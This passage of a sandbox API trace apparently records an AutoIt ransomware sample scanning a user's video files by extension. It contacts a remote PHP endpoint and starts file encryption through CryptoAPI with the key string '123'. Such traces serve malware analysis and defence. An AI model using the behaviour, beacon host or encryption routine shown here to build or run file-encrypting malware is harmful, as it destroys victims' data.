(Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="txbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="De.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0068.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.388] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.388] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0068.388] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.388] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0068.388] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0068.388] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.388] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0068.388] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0068.388] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fe8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fe8, lpdwBufferLength=0x130ee1c) returned 1 [0068.388] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.389] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.389] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.390] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0068.390] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0068.390] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0068.391] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0068.391] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0068.391] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.391] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.391] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.391] CloseHandle (hObject=0x0) returned 0 [0068.391] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.392] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0068.392] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0068.392] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.392] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.392] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.392] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.392] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.392] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.392] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0068.393] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.393] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.393] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0068.393] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.393] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.393] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.393] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.393] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.393] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0068.393] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0068.394] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0068.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0068.394] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0068.394] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa2b8) returned 1 [0068.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.395] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0068.395] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.395] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.395] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.395] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.395] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.395] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.396] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.396] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.396] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0068.396] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.396] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.396] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.396] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.396] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.396] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.396] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.397] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.397] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.397] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.397] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.397] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.398] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.398] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.398] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.398] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.398] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.398] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.398] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0068.398] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0068.398] CryptCreateHash (in: hProv=0x17aa2b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0068.398] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629660, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.399] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0068.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 